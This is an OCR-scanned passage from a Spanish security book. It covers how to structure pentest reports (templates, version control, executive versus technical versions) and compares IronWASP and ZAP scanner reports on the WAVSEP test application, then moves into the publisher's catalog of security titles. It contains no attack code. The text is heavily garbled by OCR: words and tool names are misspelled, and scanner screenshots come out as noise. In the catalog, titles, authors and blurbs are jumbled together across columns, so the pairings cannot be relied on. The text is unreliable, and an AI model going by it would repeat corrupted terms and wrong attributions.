empresa y ¢l negocio de ésta, ya que Internet puede ser mds o menos eritico en funcién del negocia,

Por otro lade, puede ser interesante contratar servicios continuos de pentesting que al estar
automatizados permiten que ¢l valor econémico disminuya, v se eree un efecto cercano a la
auditoria continua, en la que los atacantes y la herramienta de auditorfa se encuentran en un ambito
de actuacién cercano en ¢l tiempo. De este modo, se rebaja mucho el tiempo de respuesta ante
incidentes, ya que la herramicnta podria detectar las vulnerabilidades antes que los potenciales
alacantes. Si algo es indudable es que el servicio continuo disminuye mucho el tiempo de deteccion
de las vulnerabilidades, ya que con el modelo eldsico las auditorias se realizan cada afio. dos veees
al afo, eteétera,

Y como tltima recomendacién. es muy interesante el llevar a cabo auditorias vy utilizar herramientas
de auditorfa automatizadas, que hacen que sc¢ obtengan resullados en un corto periodo de tiempo.
Ademas se debe realizar una exploracion y pentesting manual, ya que siempre el hombre serd mis
fino que la maquina en este tipo de trabajo. La unién de ambas partes puede [levar a un trabajo
realmente interesante y que obtenga un grado de deteccion alto.
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Capitulo V
Generar informe

1. Nociones de un informe

Un informe puede tener al menos dos perspectivas claras como son el punto de vista téenico v el
gjecutivo. Sea cual sea el informe que se requiera preparar, los informes deben dar informacion clara
y estructurada de las acciones llevadas a cabo por el auditor. El tipo de auditoria del que se realiza el
informe también influye, cdmo es légico, a la hora de estructurar la informacion.

Existen ciertas partes que un informe debe disponer en todo momento para su correcta estructuracion
y entendimiento. Independientemente de los objetivos que el informe quiera mostrar a la empresa
que ha conlratado los servicios de los auditores, los informes deben constar de:

- Portada.

- Control de versiones.

- Indice.

- Introduccion.

- Desarrollo.

- Conclusiones.

- Anexos si los hubiera.

La portada seré genérica de la empresa de los auditores, es recomendable insertar el control de
versiones y los nombres de los autores, revisores y responsables en la misma portada, La fecha es
otra de las necesidades para poder verificar las diferentes versiones en caso de duda.

El control de versiones es algo importante para verificar qué version de informe se esta consultando
en cada instante. Se detallara mas adelante necesidades de este companente del informe.

El fndice o tabla de contenido debe proporcionar acceso directo al niimero de hoja dénde se
encuentra un apartado de interés para el lector. No es aconsejable detallar en el indice mas de tres
niveles de profundidad, aunque existan mas niveles de profundidad en algin punto del informe.
Esta recomendacién es por temas de legibilidad para cl lector y por el tamafio que pudiera alcanzar
¢l indice,
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La introduccion, en algunos ambitos denominada como documento, debe presentar de manera clara
y concisa de qué trata el informe. Este apartado se puede desglosar en otros subapartados, o incluso
otros apartados como son los objetivos generales del informe, objetivos especificos y alcance del
informe.

El desarrollo del informe presenta toda la informacién sobre las pruebas que se han ido realizando y
los resultados obtenidos. Puede ser muy interesante categorizar los resultados al final del desarrollo
del propio informe. Es importante dotar al desarrollo del informe de un orden cronolégico para
poder seguir las pruebas de manera mas clara y concisa. Otra opcidn es clasificar el tipo de prueba
y después ir mostrando de manera cronoldgica el desarrollo de éstas, pero sin separarlas de su
categoria.

Las conclusiones y recomendaciones propercionan al lector una sintesis de toda la auditoria con
las recomendaciones pertinentes para subsanar los posibles fallos de seguridad encontrados en el
proceso. Es importante reflejar con objetividad lo analizado para que el informe pueda ser utilizado
en la posible toma de decisiones de la organizacion analizada.

Los anexos aportan pruebas o el desarrollo exhaustivo de éstas como informacion extra que ayude a
los técnicos a entender que se ha estado realizando sobre la organizacion. También permiten afiadir
informacion extra sobre categorias. elementos, herramientas de seguridad, medidas de scguridad,
riesgos, amenazas. eteélera. En el anexo se puede afiadir todo tipo de informacion que pueda dar un
plus al valor del informe.

2. Plantillas

En este apartado se presentan diferentes plantillas con las que ayudar a encarar el informe. Basandose
en las nociones enunciadas en el apartado anterior, es interesante optar por una escritura clara y
concisa, presentando los elementos de manera cronologica. desarroliando las prucbas realizadas y
las resultados abtenidos y. por (ltimo, presentar [as conclusiones y recomendaciones.

A continuacion se presentan varias plantillas que pueden ayudar a la confeccion del informe. Se
muestran ¢jemplos de apartados que deben incluirse en ellos y como el lector puede entender lo que
se le presenta de mejor manera siguiendo las nociones presentadas en este capitulo.

Auditoria perimetral
En un informe de auditoria perimetral se deben presentar muchas pruebas, ya que una auditoria de
este tipo realiza un gran proceso de identificacion de activos en el perimetro de la organizacién. Esta
plantilla pretende sinterizar los apartados de la siguiente manera:
- Introduccion. Si se enliende un informe de manera estructurada, tal y como se presenta
en este capitulo. se debe hacer hincapié en que la introduccion puede tener varios puntos.
Uno de ellos es la propia introduccién dénde se especifica qué se ha realizado en la auditoria.
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Existen otros puntos cémo puede ser el objeto del informe, el alcance, el proyecto con
sus antecedentes, listados de pruebas a realizar, descripciones de servicios. etcétera. Para
ejemplificar se proponen estos puntos para la parte de introduccién,

L. Introduccidn.
2. Objeto.
3. Proyecto.

- Pruebas. En este apartado es importante diferenciar entre las prucbas o tareas llevadas
a cabo para la recogida de informacién v su posterior analisis. En estas pruebas entran
la identificacién de servicios y analisis de puertos TCP/UDP, realizacién de mapas de
informacion, deteccién de fugas de informacidn, puntos de entrada, verificacién de métodos,
etectera. Todo lo que se ha ido estudiando en el capitule dénde se confeccionan los ataques,
en el que se habla de la auditoria perimetral. Hay que recordar que se debe presentar de
manera cronoldgica, para que se pueda entender todo el procedimiento de manera mas clara
¥ congisa,

- La parte de deteccion de vulnerabilidades presenta las pruebas de anélisis sobre SS7.
manipulacion de parémetros, ataques web, gestion de cookies. elcétera. Siempre (eniendo
en cuenta el orden cronolégico de actuacion. A continuacién se proporciona un nimero de
apartado para esta plantilla de informe,

4. Recogida y andlisis de informacion.
5. Deteccion y explotacion de vulnerabilidades.

- Conclusiones y recomendaciones. En todo informe debe encontrarse esta parte dénde
se retine lodo lo encontrado categorizado por criticidad. Esta informacion es extendida con
las recomendaciones de seguridad necesarias para llevar a cabo un analisis global de los
problemas que hay entorno a la seguridad y las soluciones que como auditores se plantean.

6. Resumen vulnerabilidades.

7. Recomendaciones de seguridad.

Auditoria interna

En un informe de auditoria interna se deben presentar muchas pruebas, aunque muchas van surgiendo
en funcion de las necesidades del auditor y lo que éste se va encontrando en su trabajo. Esta plantilla
pretende sintetizar los apartados de la siguiente manera:

= Introduccion. Al igual que en la auditorfa perimetral, los informes para la auditoria interna
contienen una parte de introduccion, la cual serd muy similar para los informes técnicos de
audiloria.

1. Infroduccion.
2. Objeto.
3. Proyecto.

- Pruebas. En este apartado del informe se enuncian las pruebas que se han ido realizando.
Como se puede visualizar mas adelante existe un apartado dénde se realiza el seguimiento
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marcando una linea temporal de los acontecimientos. Se puede considerar como un diario en
el que el pentester va marcando los pasos que ha ido realizando por los distintos segmentos
que ha ido explorando o a los que ha ido consiguiendo acceso. En el apartado de pruebas se
entiende que se iran realizando pruebas como las que se presentan en el capitulo de confeccion
de ataque, en el apartado dedicado a la auditoria interna.

4, Pruebas.

3. Seguimiento cronolégico por segmentos.
- Coneclusiones y recomendaciones. Al igual que en la auditoria perimetral, y como
se ha comentado anteriormente, todo informe debe contemplar unas conclusiones y
recomendaciones de seguridad finales. En esta plantilla se afiade que, al ser una auditoria
interna se muestren los objetivos que fueron enunciados en la parte de proyecto, los cuales
son logrados durante el proceso completo.

6. Objetivos logrados.

7. Conclusiones y recomendaciones de seguridad.

Auditoria wireless
En un informe de auditoria wirelesy se deben presentar diversos aspectos, ya que una auditoria
de este tipo realiza tres pasos diferenciados: identificacion, andlisis y ataques. En ¢l aparlado de
ataques, no solo entra la comprobacion de la seguridad en los puntos de acceso a la red. si no la
utilizacion de téenicas como Rogue AP para atacar a clientes.
Esta plantilla pretende sintetizar los apartados de la siguiente manera:
- Introduccién. Al igual que en la auditorfa perimetral, los informes para la auditoria interna
contienen una parte de introduccion, la cual serd muy similar para los informes técnicos de
auditoria.
[. Introduccion.
2. Objeto.
3. Proyecto.
- Pruebas. Las prucbas propuestas para esta plantilla son eshucturadas en distintos
apartados: descubrimiento, andlisis y ataque. Se deben especificar, como siempre de manera
cronoldgica. con detalle las distintas prucbas que se realizan y los resultados obtenidos.
4, Descubrimiento.
5. Analisis.
6. Ataques.
- Conclusiones v recomendaciones. Como se ha comentado en los apartados anteriores

J

se presentan las conclusiones de la auditaria haciendo hincapié en los fallos de seguridad
encontrados, a poder ser clasificados por criticidad. Ademas, se indican recomendaciones de
seguridad para que el cliente pueda tomar medidas.

7. Conclusiones y recomendaciones de seguridad.
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3. Control de cambios

!:;l control de cambios o control de versiones es un elemento que permite identificar la edicion del
u}fo_rme que el lector estd consultando. Disponer de este elemento es algo fundamental para que
distintos auditores puedan ir modificandolo.

CONTROL DE VERSIONES
Version 1 2 3 4
Fecha DD/MM/AAAA | DD/IMM/AAAA

Tabla 5.01: Control de versiones,

Este elemento estd compuesto por el nimero de versién, el cual puede ser identificado de manera
progresiva con numeros naturales. o bien con la nomenclatura X.X que es més utilizada para las
versiones de software.

Otro de los campos importantes de este elemento es la fecha en la que se ha escrito la version. va
que de este modo se puede identificar rapidamente el tiempo que ha transeurrido desde una version
a otra. Este dato puede orientar el niimero de cambios que puede tener un informe, aungue 1o es un
valor exacto.

Otro elemento que acompafia al control de cambios y que puede insertarse también en la portada o
en la primera pagina del documento es el siguiente cuadro y datos:

Fecha: DD/MM/AAA

Version: 1.0

ELABORADO REVISADO APROBADO

Departamento de Seguridad | Departamento de Seguridad | Direccién de Operaciones

Consultor de Seguridad Responsable Departamento Supervisién

Tabla 5.02: Resumen de autores del documento.

En el campo fecha se escribe la fecha actual del documento, aunque en el control de versiones
también se identifica rapidamente ante que versién del documento se encuentra el lector.

En.el cuadro se especifican, pudiendo variara lo presentado en el ejemplo, los autores del documento.
quien lo ha revisado y qué director lo ha aprobado.

Esto es ‘Fotalmente personalizable por los auditores, ya que dependera de la jerarquia de la
organizacion que emite el informe.
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4. Ejecutivo Vs Técnico

En muchas ocasiones en vez de presentar un informe técnico se debe presentar ambos, o incluso

solamente el informe ejecutivo. Para muchos las diferencias son obvias, aunque existen varios.

conceptos que ambos comparten.

Por un lade, el informe ejecutivo tiene un caracter de resumen amplio, ya que su objetivo es ser
entregado a la direccion de una organizacion conteniendo, por ejemplo, graficos donde se resume
el estado de seguridad y el trabajo realizado. En otras palabras, este tipo de informes son cortos y
concisos, y como se ha comentado anteriormente, llevan consigo un resumen de todo el trabajo
llevado a cabo por el grupo de auditores y las medidas correctoras para solucionar o mitigar los
fallos encontrados. Por otro lado el informe téenico, como se ha podide comprobar en apartados
anteriores, es mucho més extenso v debe contener la fase de desarrollo de prucbas completa y de
manera cronoldgica. Los reportes e imdgenes detallan lo que ha hecho el equipo técnico y con un
lenguaje entendible por otros miembros técnicos.

Ejemplo ejecutivo

En este ejemplo se presentan partes para la realizacidn de un informe ejecutivo. Una de las
caracteristicas mas importantes es la utilizacién de un lenguaje no técnico y totalmente cercano a
directivos. Lo importante para ellos es poder observar queé se ha desarrollado. qué sc ha conseguido
v qué estaba bien. Con estos elementos de juicio se podran tomar decisiones a corto o medio plazo
sobre los elementos que no estan desarrollando correctamente su funcion.

A continuacion se exponen algunos apartados que pueden aparecer en un informe ejecutivo, aunque
como es logico son consejos v pueden eliminarse o afiadirse algtn apartado extra. Es importante
recalear que estos informes son de pocas paginas y con la aparicion de graficos como elemento
visual que presente algunos resultados.
- Antecedentes y motivos. Breve descripcion de los antecedentes que provocan la
realizacién del trabajo, en otras palabras. los motivos de la ejecucion del proyecto,
- Elementos. Se enumeran los elementos de juicio, sin entrar en detalle en ningin momento.
- Procedimiento. Desarrollo de pruebas a muy alto nivel, sin entrar en detalle en ningtin
momento.
- Resultados. Presentacién, si puede ser grafica. de resultados con los que la toma de
decisiones pueda ser ficilmente entendible.
- Conclusiones y recomendaciones. Se presentan conclusiones sobre ¢l trabajo realizado y
las recomendaciones de seguridad.

Como se puede visualizar se presentan las tres paulas necesarias en un informe ejecutivo. Brevedad.

resumen y datos claros y entendibles por un directivo para su toma de decisiones sobre los hechos
que hicieron que la auditoria se llevara a cabo.
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S. Reportes automaticos

Existen multitud de herramientas automaticas que pueden ser utilizadas en auditorias. Estas
herramientas proporcionan informes generados con las vulnerabilidades que se han obtenido. [n
este apartado se presenta una comparacion enire dos escaneres y los distintos reportes que aportan.
Los escaneres escogidos son fronWASP y ZAP.

Para el ejemplo se va a utilizar una aplicacion web denominada WAVSEP, la cual puede ser
descargada de la siguiente URL https://code.google.com/p/wavsep/. La aplicacién web dispone de
casos de test para distintas vulnerabilidades como son XSS. LFI. RFI, SQLi, leakage, etcétera, Para
muchos puede ser una aplicacion mas de testeo de escéneres, pero aporta casos de test con falsos
positivos para poder evaluar el porcentaje de éstos en la que la herramienta detecta vulnerabilidad
siendo incorrecto.

Analisis

En este apartado se analiza la informacién que es reportada en el informe generado por las
herramientas. Una vez que se evalta con los dos escaneres la herramienta JWAVSEP. se puede indicar
que los reportes son vitales para la usabilidad de la informacion por parte del usuario cn un entorno
laboral. Siempre es un valor afiadido gue una herramienta de éstas permita la generacion de reportes
v la exportacion de datos en diferentes formatos.

The table below shows the nuunber of Andings discoversd in sach hot!

n igh Comfidencs AL

High Medium Low Info Test leads Total Haosts

Fig. 5.01: indice apartada por fronTFASE

Los informes que ambas herramientas presentan pueden ser exportados a ATML. Generalmente este
tipo de informes suele dar la impresion de un volcado de imformacién. Es comin que se encuentre
ordenado en tablas y que la informacion sea poco vistosa.
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Es importante que no sean informes con mucho texto ordenado en tablas, ya que la lectura no serd

sencilla. Es importante que, aunque esté automatizado, dé la sensacién al lector de tener un hilo
conductor del informe,

IronWASP proporciona la opeién de exportar la informacién en formato RTF, texto enriquecido. Por
otro lado ZAP permite la exportacion en formato XML. Cuantos mas formatos se permitan mejor
serd la integracion con otras tecnologias que el equipo de auditoria disponga para el trabajo.

En muchas ocasiones se utilizan herramientas como Metasploit para integrar los resultados que se

han generado en otros escaneres, con el fin de alimentar el conocimiento de la primera.

La presentacién del documento, y seglin la comparativa, /ron WASP presenta un informe més limpio.
Se presenta un indice y un resumen de lo que se ha ido encontrando durante ¢l scan y la criticidad
de las vulnerabilidades encontradas.

Ademas, la herramienta presenta los recursos dénde existe la vulnerabilidad y un link el cual
permite al auditor navegar por el documento. Jron WASP proporciona informacién sobre qué tipo de
inyecciones o payloads han sido utilizados para detectar las vulnerabilidades. Esto sin duda es un
punto a favor en los reportes de herramientas automaticas.

A continuacion se puede visualizar como se muestran las vulnerabilidades en el informe que
TronWASP proporciona una vez realizado el scan,

| The titles of all the fndings are hsted below categorized by the host they® wers distoversd on. All ftemsin the list below are Erike to relevan
sections in the report.

http://localhost:8080/

8 Reete Fele Includde Fourul

L. /wavsep/active/RFI-Detection-Evaluation GET-500Erroe/Case04-RFI-UriClass-F
DefaultEmptvinput-AnvPathReg-Read jspMarget=

denameContext-Unrestrictad-HitpURL-

rwestricted-HitpURL -

Fig, 5.02: Vulnerabilidad obtenida con fron ¥4 SP

Respecto a la cobertura de vulnerabilidades y la eficacia se puede hablar de diferentes puntos. Ambas
herramientas cubren en su totalidad, o practicamente, las vulnerabilidades del Top 10 de OWASP.

Generalmente, cuanto mayor sea el nimero de pruebas que realizan estos escaneres, mayor
informacion puede existir en el informe.

También serd importante el porcentaje de éxito de la herramienta en la deteccidn, ya que un escaner
podria implementar muchos ataques y no tener una deteccion demasiado buena.

ZAP Scanning Report

Summary of Alerts

Risk Level : £ Number of Aleris |

High %
Medium 1
= 70

70

Informational

Alert Detail

Secusncia de Comandos en Sifios Cruzatos (XSS, refleja

Fig. 5.03: Vulnerabilidades en Z4F
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Analisis Forense Digital
en Entornos Windows
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Jusan Luis Garcia Rambla

APLICACION DE MEDIDAS
PARA LA IMPLANTACION DE LA LOPD
EN LAS EMPRESAS

Saber qué ha pasado en un sistera es una pregunta de obligada
respuesta en miltiples situaciones. Un ordenador del que se
sospecha que alguien estd teniendo acceso al mismo, porque se
esta diseminando informacion que sélo esta almacenada en él. un
empleado que sospecha que alguien estd leyéndole sus correos
personales o una organizacion que cree estar siendo espiada por la
competencia son situaciones comunes en las empresas.

En este libro se describen los procesos para realizar la caplura
de evidencias en sistemas Windows, desde la captura de datos
almacenados. hasta la extraccidon de elementos volatiles como
ficheros borrados, archivos impresos o datos que se encuentran en
la RAM de un sistema. Todoe cllo, acompaifiado de las herramientas
necesarias para que un téenico pueda realizar sus investigaciones.

El final del ano 2007 trajo consigo la necesidad de reactivar
las iniciativas de aplicacion de la normativa vigente en materia
de proteccion de datos de cardcter personal, Desde entonces la
actualizacion de los proyectos en curse y la puesta en marcha
de otros nuevos han constituido una prioridad para numerosas
empresas en el Estado Hspafiol. Sin embargo la aplicacién de
la legislacidén vigente no estd siendo ni tan generalizada ni tan
rigurosa como se esperaba.

La lectura y consulta de este libro permitira al lector alejar muchos
de los “miedos™ y dudas que ahora le asaltan respecto de la LOPD
y su nuevo reglamento, impidiendo en muchas ocasiones que
empresas y organizaciones se encuentren en un situacién legal
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Anuario ilusirado de seguridad informatica, anécdotas y
entrevistas exclusivas... Casi todo lo que ha ocurrido en seguridad
en los ultimos doce afios, estéd dentro de “Una al dia: 12 aiios de

2Tl darcla Ramibia Microsoft Forefront Threat Management Gateway [TMGJ 2010 1998 - 2012 L
sl es la Giltima evolucion de las tecnologias Firewall, Servidor VPN U na al d 1a

Forefront-
Threat Management Gateway, y servidor Caché de la compaiia Redmond. Después de haber . informatica

TMG 2010

Rames Sarwat
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HECHCIOGIHRYALES

ESPANA Tt

m!u Access
— —=

0 NAGIONAL DE IDENTDAD

convencido a muchos con los resultados de MS IS4 Server 2006.
esta nueva evolueion mejora en funcionamiento y en caracteristicas
la version anterior.

En este primer libro en castellano dedicado integramente a este

producto podra aprender como instalarlo, como configurarlo en la.

empresa en confliguraciones siand alone y en cluster NLB, como
configurar las reglas de seguridad, los servicios N/S que hacen uso
de la tecnologia GAPA o el servicio de proteccion continua de MS
Forefront Web Protection Service, entre otras muchas opciones.

Microsoft SharePoint 2010): Seguridad es un libro pensado para
aquellos responsables de sistemas o seguridad, Arquitectos /7,
Administradores o técnicos que deseen conoce como fortificar una
arquitectura SharePoint Server 2010 o Share Point Foundation
2010. El libro recoge desde los apartados de fortificacion
iniciales, como la configuracion de los sistemas de autenticacion
y aulorizacion, la gestion de la auditoria, la creacion de planes de
contingencia, la copia y restauracion de datos, la publicacién de
forma segura en Intemet y la técnicas de pentesting ylo ataques
a servidores SharePoins. Un libro imprescindible si tiene a cargo
una solucion basada en estas tecnologias.

Rubén Alonso ha sido premiado por Microsoft como MFP en
tecnologias SharePoint.

El DNI electronico esta entre nosotros. desde hace bastante
tiempo pero, desgraciadamente, el uso del mismo en su faceta
electranica no ha despegado. Todavia son pocas las empresas y los
particulares que sacan provecho de las funcionalidades que ofrece.
En este libro Rames Sarwar, de la empresa SmartAccess. desgrana
los fundamentos tecnologicos que estan tras €, y muestra como
utilizar el DN/-¢ en entornos profesionales y particulares. Desde
autenticarse en los sistemas informaticos de una empresa, hasta
desarrollar aplicaciones que saquen partido del DNI-e.

Rames Sarwat es licenciado en Informatica por la Universidad
Politéenica de Madridy socio fundador y director de SmartAccess.
Anteriormente ejercio como Director de Consultoria en Microsoft..

Hacking con buscadores:
Google, Bing & Shodan

2 Ediclén revizada y ampliada

seguridad informetica”.

Para celebrar los doce afios ininterrumpidos del boletin Una of
dia, hemos realizado un recorrido por toda una década de virus,
vulnerabilidades, frandes, alertas. y reflexiones sobre la seguridad
en Internet. Desde una perspectiva amena y entretenida y con
un disefio sencillo y directo, Los 12 afos de Una al dia sirven
de excusa para un libro que estd compuesto por material nuevo,
revisado y redactado desde la perspectiva del tiempo. Ademas de
las entrevistas exclusivas y las anécdotas propias de Hispasec.

La informacion es clave en la preparacién de un test de penetracion.
Sin ella no es posible determinar qué atacar ni como hacerlo. Y los
buscadores se han convertido en herramientas fundamentales para
la mineria de datos y los procesos de inteligencia. Sin embargo.
pese a que las téenicas de Google Hacking lleven afios siendo
utilizadas, quiza no hayan sido siempre bien tratadas ni transmitidas
al publico. Limitarse a emplear Google Dorks conocidos o a usar
herramientas que automaticen esta tarea es, con respecto al uso de
los buscadores, lo mismo que usar una herramienta como Nessus,
o quizd el auiopwi de Metasploir, y pensar que sc esta realizando
un test de penetracion. Por supuesto, estas herramientas son titiles.
pero se debe ir mas alld. comprender los problemas encontrados.
ser capaces de detectar otros nuevos... y combinar herramientas.

En este libro podra ver y conocer, desde la experiencia profesional
en el mundo del e-crime, cdmo se organizan las estafas, qué
herramientas se utilizan y cuales son los mecanismos existentes
para conseguir fransformar en dinero contante, el capital robado
digitalmente a través de Internet. Un texlo imprescindible para
conocer a lo que todos nos enfrentamos en Internet hoy en dia y
asi poder tomar las medidas de seguridad apropiadas.

Dani Creus 'y Mike! Gastesi forman parte de un equipo
multidiseiplinar de reconocidos especialistas en c-crime y
seguridad en S2/sec. Entre sus funciones destacan las tareas de
analisis e investigacion de temas relacionados con la seguridad y
fraudes electronicos.
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Maxima Seguridad en Windows:
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2% Edicion, Revisada y amphiada.

Sergio de los Santos

Combate las amenazas de hoy en Windows

Hacking y seguridad
en comunicaciones moviles
G5M/GPRS/UMTS/LTE

José Pico Garcia
David Pérez Conde
idn. Revisada y ampliada

Esquema MNacional de Seguridad
con Microsoft’

Juan Luls Garcia Rambla
Julian Blazquez Garcia
‘Chema Alonso

Hoy en dia no sufrimos las mismas amenazas (ni en cantidad ni
en calidad) que hace algunos afios. Y no sabemeos cuales serdn los
retos del mafiana. Hoy el problema mds grave es mitigar el impacto
causado por las vulnerabilidades en el soffware y la complejidad
de los programas. Y eso no se consigue con una guia “tradicional”.
Y mucho menos si se perpetian las recomendaciones “de toda
la vida” como “cortafuegos”, “antivirus” y “sentido comun”.
. Acaso no disponemos de otras armas mucho mas potentes? No.
Disponemos de las herramientas “tradicionales™ muy mejoradas,
cierto, pero también de otras tecnologias avanzadas para mitigar las
amenazas. El problema es que no son tan conocidas ni simples. Por
tanto es necesario leer el manual de instrucciones, entenderlas... y
aprovecharlas...

Mas de 3.000 millones de usuarios en mas de 200 paises utilizamos
diariamente las comunicaciones moviles GSM/GFRS/UMTS
(2G/3G) para llevar a cabo conversaciones y transferencias de
datos. Pero, ;son seguras estas comunicaciones?, En los Gltimos
afios se han hecho piblicos muttiples vulnerabilidades y ejemplos
de ataques practicos contra GSM/GPRS/UMTS que han puesto en
evidencia que no podemos simplemente confiar en su seguridad..

Descubra en este libro cudles son las vulnerabilidades y los
ataques contra GSM/GPRS/UMTS (2G/3G) y el estado respecto a
la nueva tecnologia LTE, comprenda las técnicas y conocimientos
que subyacen tras esos ataques y conozca qué puede hacer para
proteger sus comunicaciones moviles.

La Administracion Espafiola lidera un encomiable esfuerzo hacia
el Desarrollo de la Sociedad de la [nformacion en Espafia. asi
como en el uso optimo de las tecnologias de la Informacién en pro
de una prestacion de servicios mas eficiente hacia los ciudadanos.
Aunque este tipo de contenidos no siempre son faciles de tratar
sin caer en un excesivo dogmatismo, si es cierto que en el marco
de la Ley 11/2007 del 22 de Junio, de acceso electrénico de los
ciudadanos a los Servicios Publicos, se anuncio la creacion de los
Esquemas Nacionales de Interoperabilidad y de Seguridad con la
mision de garantizar un derecho ciudadano, lo que sin duda es un
reto y una responsabilidad de primera magnitud. Este manual sirve
para facilitar a los responsables de seguridad el cumplimiento de
los aspectos tecnologicos derivados del cumplimiento del ENS.
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Ataques en redes de datos
IPv4 e IPv6

Juan Luls Garcla fambls
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Desarrollo de aplicaciones i0OS
para iPhone & iPad: Essentials

Junn Migus| Aguaye Sanehies

No es de extrafiar que les programas contengan fallos, errores,
que, bajo determinadas circunstancias los hagan funcionar de
forma extrafia. Que los conviertan en algo para lo que no estaban
disefiados. Aqui es donde entran en juego los posibles atacantes,
Pentesters, auditores,... y ciberdelincuentes. Para la organizacion,
mejor que sea uno de los primeros que uno de los tltimos. Pero para
la aplicacion, que no entra en valorar intenciones, no hay diferencia
entre ellos. Simplemente, son usuarios que hablan un extrafio
idioma en que los errores se denominan “vulnerabilidades”. y una
aplicacion defectuosa puede terminar convirtiendose, por ejemplo,
en una interfaz de usuario que le permita interactuar directamente
con la base de datos. Y basta con un Gnico error.

Las redes de datos /P hace mucho tiempo que gobiernan nuestras
sociedades. Empresas, gobiernos y sistemas de interaccion
social se basan en redes 7CP/IP. Sin embargo. estas redes tienen
vulnerabilidades que pueden ser aprovechadas por un atacante
para robar contrasefias, capturar conversaciones de voz, mensajes
de correo electronico o informacion transmitida desde servidores.
En este libro se analizan cémo funcionan los ataques de man in
the middle en redes IPv4 o IPv6, como por medio de estos ataques
se puede crakear una conexion VPN PPTP, robar la conexidn de
un usuario al Active Directory o como suplantar identificadores
en aplicaciones para conseguir perpetrar una intrusian ademas del
ataque SLAAC, el funcionamiento de las téenicas ARP-Spoofing.
Neighhor Spoofing en IPv6, etcétera.

Hoy dia es innegable el imparable crecimiento que han tenido las
tecnologias de Jos dispositivos maviles en los Gltimos afios. Tl
numero de smartphones, tablers. elcétera han aumentado de manera
exponencial. Esto ha sido asi, hasta tal punto que actualmente estos
dispositivos se han posicionado como tecnologias de maxima
prioridad para muchas empresas.

Con este libro se pueden adquirir los conocimientos necesarios
para desarrollar aplicaciones en /OS, guiando al lector para que
aprenda a utilizar las herramientas y técnicas basicas para iniciarse
en el mundo /OS. Se pretende sentar unas bases, de manera que al
finalizar la lectura, el lector pueda convertirse en desatrollador /OS
y enfrentarse a proyectos de este sistema operativo por si mismo.
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PowerShell
Lanavaja suiza'de
los administradores de sistemas

Pablo Gonzales y Rubén Alonsa

Windows Server 2012
para IT Pros

Windows Server 2012
e

Metasploit

para Pentesters
2 Edicion

Hoy en dia la administracion de los sistemas es de vital importancia
en toda empresa moderna. PowerShell ofrece al administrador la
posibilidad de automatizar las tareas cotidianas proporcionando
un potente lenguaje de scripting. El libro esta estructurado en
distintas tematicas, que ofrecen al lector una introduccién a la
interaccion con la potente linea de comandos de Microsofi, las
bases y pilares para el desarrollo de potentes scripis seguros, v la
gestion de productos de Microsoft desde PowerShell, como son
Hyper-V, Active Divecitoiy, SharePoint, SOL Server o IIS. Otro
de los aspectos a tratar es la seguridad. El enfoque practico del
libro ayuda al administrador, a entender los distintos y variados
conceptos que ofrece PowerShell.

Microsoft Windows Server 2012 ha llegado con novedades cuyo
objetivo es simplificar las, cada vez mas, complejas tareas de
los administradores y profesionales /7. En el presente libro
se recogen la gran mayoria de dichas novedades entre las que
destacan la version 3.0 de Hyper-V', el servidor de virtualizacion
de Microsofi, el almacenamiento con su nuevo sistema de archivos
v sus propiedades. las mejoras y nuevas caracteristicas de Active
Directory, DNS y DHCP, las novedosas férmulas de despliegue
eficiente, la ampliacion y mejora de la linea de comandos
Microsoft Windows PowerShell, y como no, la seguridad, un pilar
basico en la estructura de los productos Microsofi La idea del libro
es presentar las novedades y ahondar en los coneeptos prinecipales.

La seguridad de la informacion es uno de los mercados en auge en
la Informadtica hoy en dia. Los gobiernos y empresas valoran sus
activos por lo que deben protegerlos de accesos ilicitos mediante
el uso de auditorfas que proporcionen un status de seguridad a
nivel organizativo. El pentesting forma parte de las auditorias
de seguridad y proporciona un conjunto de pruebas que valoren
el estado de la seguridad de la organizacion en ciertas fases.
Metasploit es una de las herramientas mas utilizadas en procesos
de penmtesting ya que contempla distintas fases de un test de
intrusion. Con el presente libro se pretende obtener una vision
global de las fases en las que Merasploif puede ofrecer su potencia
y flexibilidad al servicio del hacking ético.

Libros publicados

Microhistorias:
anécdotas y curiosidades
de la Informatica

Ralael Traneoss
Francisca Josd Ramirez
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Hacker Epico

Hacking y Seguridad
VoIP

;Sabias que Sreve Jobs le llevo en persena un ordenador Muciniosh
a Yoko Ono y también a Mick Jagger? (Y que Jav Miner, el genio
que creod el Amiga [000 tenia una perrita que tomaba parte en
algunas de las decisiones de disefio de este ordenador? ;O que
Xenix fue el sistema UNLY mas usado en los 80s en ordenadores y
que era propiedad de Microsoft?

Estas son s6lo algunas de las historias y anécdotas que encontraras
en este libro de Microhistorias. Una parte importante de las cuales
tienen como protagonista a los miembros de Microseft y de Apple.
Historias de hackers, phreakers, programadores y disenadores
cuya constancia y sabiduria nos sirven de inspiracion y de ejemplo
para nuestros proyectos de hoy en dia.

Angel Rios. auditor de¢ una empresa puntera en el sector de
la seguridad informatica se prepara para acudir a una cita con
Yolanda, antigua compafiera de clase de la que siempre ha estado
enamorado. Sin embargo, ella no estd interesada en iniciar una
relacidon; sélo quiere que le ayude a descilrar un misterioso
archivo. Angel se ve envuelto en una intriga que complicard su
vida y lo expondra a un grave peligro. Unicamente contara con sus
conocimientos de Ahacking y el apoyo de su amigo Marcos.
Mezcla de novela negra y manual téenico, este libro aspira
a entretener ¢ informar a partes iguales sobre un mundo tan
apasionante como es el de la seguridad informatica. Téenicas de
hacking web, sistemas v analisis forense, son algunos de los temas
que se tratan con total rigor y excelentemente documentados.

La evolucion de VOIP ha side considerable, siendo hoy dia
una alternativa muy utilizada como solucién unica de telefonia
en muchisimas empresas. Gracias a la expansion de Internet y
a las redes de alta velocidad, llegard un momento en el que las
lineas lelefonicas convencionales sean totalmente sustituidas por
sistemas de VOLP, dado el ahorro econdmico no solo en llamadas
sino también en infracstructura.

El gran problema es la falta de concienciacion en seguridad. Las
empresas aprenden de los errores a base de pagar elevadas facturas
y a causa de sufrir intrusiones en sus sistemas.

Este libro muestra como hacer un test de penetracion en un sistema
de VOIP asi como las herramientas mas utilizadas para atacarlo,
repasando ademas los fallos de configuracion mas comunes.
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Wardog y el mundo

Higuel Angel Murena

' a:WuRa

Desarrollo de aplicaciones
- Android seguras

Miguet AngelMorer

€ifrado de las comunicaciones digitales
De la cifra clasica al algoritmo RSA

¢Has pensado alguna vez por qué cofio el informético tiene siempre
esa cara de orco? ¢ Por qué siempre esta enfadado? ;Por qué no se
relaciona con la gente de 1a oficina?

Yo te lo digo: por tu culpa. Por vuestra culpa. Por las burradas
que hacéis. Porque no os podéis estar quietecitos, no... Porque os
